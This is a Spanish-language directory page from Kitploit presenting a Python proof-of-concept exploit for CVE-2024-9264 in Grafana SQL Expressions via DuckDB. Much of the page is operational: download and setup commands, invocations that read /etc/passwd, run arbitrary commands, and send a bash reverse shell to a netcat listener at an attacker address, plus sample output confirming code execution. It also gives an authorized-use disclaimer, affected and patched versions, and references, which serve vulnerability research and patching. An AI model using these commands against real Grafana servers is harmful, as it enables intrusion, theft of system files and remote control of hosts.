Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/ozcanpng/cve-2024-9264
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAprendizaje y Educación
GitHubozcanpng/cve-2024-9264

CVE-2024-9264

CVE-2024-9264 PoC de LFI/RCE en Grafana SQL Expressions DuckDB

Ver Repositorio
3hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-9264 - PoC de LFI/RCE en Grafana SQL Expressions DuckDB

Prueba de concepto en Python para CVE-2024-9264, una vulnerabilidad de Grafana SQL Expressions que puede permitir la inclusión autenticada de archivos locales y la ejecución de comandos cuando duckdb está disponible en el PATH del proceso de Grafana.

Solo para pruebas autorizadas e investigación. No utilices esto contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.


Qué hace

root@kitploit:~
acceso API autenticado de Grafana -> consulta SQL Expressions DuckDB -> lectura de archivo -> ejecución opcional de comandos mediante shellfs
  1. Envía una solicitud autenticada al endpoint de consulta del datasource SQL Expressions de Grafana.
  2. Lee archivos con DuckDB read_blob(). Si se solicita ejecución de comandos, primero se usa /etc/passwd como archivo de validación predeterminado.
  3. Opcionalmente carga la extensión shellfs de DuckDB y ejecuta un comando a través de una llamada respaldada por un pipe.
Descargar herramienta
read_csv()
  • Lee la salida del comando desde /tmp/cve_2024_9264_out e imprime el resultado decodificado.
  • El endpoint vulnerable se puede llamar directamente a través de la API; no se requiere interacción con la interfaz de usuario del dashboard. La autenticación sigue siendo necesaria.


    Capturas de pantalla

    Ejecución de comandos

    Prueba de ejecución de comandos

    Payload de shell inversa

    Entrega de payload de shell inversa

    Listener de shell inversa

    Listener de shell inversa


    Configuración

    root@kitploit:~
    git clone https://github.com/ozcanpng/CVE-2024-9264.git
    cd CVE-2024-9264
    python3 -m pip install -r requirements.txt
    

    Uso

    Lectura de archivos

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd
    

    Cuando se usa --file solo, el script lee ese archivo directamente e imprime el contenido decodificado en la sección de resultado de lectura de archivo.

    Ejecución de comandos

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id
    

    El script primero realiza una lectura de validación predeterminada de /etc/passwd, luego entrega el payload del comando. En la sección de resultados imprime la salida decodificada del comando en lugar de la respuesta JSON sin procesar de Grafana.

    Shell inversa

    Inicia un listener:

    root@kitploit:~
    rlwrap nc -lvnp 4444
    

    Envía el payload de shell inversa:

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444
    

    Simulación (dry run)

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run
    

    Depuración

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug
    

    Opciones

    Estas opciones se basan en la CLI actual del script:

    root@kitploit:~
    -u, --url, --target TARGET
                            URL objetivo, ej. http://localhost:3000
    --username USERNAME     Usuario de Grafana. Predeterminado: admin
    --password PASSWORD     Contraseña de Grafana. Predeterminado: admin
    --file FILE             Ruta del archivo a leer. Ruta de prueba predeterminada: /etc/passwd
    --expected-marker MARKER
                            Marcador esperado en la respuesta de lectura de archivo. Predeterminado: root:
    --cmd CMD               Comando a ejecutar a través de la ruta shellfs de DuckDB
    --reverse-shell         Ejecutar un payload de shell inversa bash
    --lhost LHOST           Host del listener para --reverse-shell
    --lport LPORT           Puerto del listener para --reverse-shell
    --timeout TIMEOUT       Timeout HTTP en segundos. Predeterminado: 20
    --verify-tls            Verificar certificados TLS. Predeterminado: habilitado
    -k, --insecure          Deshabilitar verificación de certificados TLS
    --dry-run               Imprimir metadatos del objetivo y del payload sin enviar solicitudes
    --debug                 Imprimir metadatos de depuración de la solicitud
    

    Ejemplo de salida

    Lectura de archivos

    root@kitploit:~
    [STEP 2] File Read Result
    --------------------------------------------------------------------
    [*] File path    : /etc/passwd
    [*] HTTP status  : 200
    [+] File content read successfully.
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ...
    grafana:x:472:0::/home/grafana:/usr/sbin/nologin
    

    Ejecución de comandos

    root@kitploit:~
    [STEP 4] Result
    --------------------------------------------------------------------
    [*] HTTP status  : 200
    [+] Payload accepted by Grafana.
    uid=472(grafana) gid=0(root) groups=0(root)
    

    Afectados

    ProductoVersión afectadaAcceso requeridoImpacto
    Grafana OSS / EnterpriseGrafana 11.0.x, 11.1.x y 11.2.x antes de las versiones de seguridad corregidasVisor o superiorInclusión de archivos locales e inyección de comandos cuando DuckDB está presente en el PATH de Grafana

    Grafana señala que la explotación requiere que el binario duckdb esté presente en el PATH del proceso de Grafana; las distribuciones normales de Grafana no instalan DuckDB por defecto.


    Notas

    • Se requieren credenciales válidas de Grafana.
    • La cuenta debe tener permisos de Visor o superiores.
    • La explotación directa por API no significa explotación no autenticada; las solicitudes aún necesitan una sesión válida o credenciales de autenticación básica.
    • La lectura de archivos se utiliza como primer paso de validación antes de la ejecución de comandos.
    • La ejecución de comandos depende de DuckDB y del comportamiento de la extensión shellfs en el entorno objetivo.
    • Para objetivos TLS con certificados autofirmados, usa -k o --insecure.
    • Las versiones de seguridad corregidas incluyen Grafana 11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 y 11.2.2+security-01.

    Referencias

    • Aviso de Grafana - CVE-2024-9264
    • Blog de la versión de seguridad de Grafana
    • NVD - CVE-2024-9264

    Autor

    ozcanpng - github.com/ozcanpng - ozcanpng.dev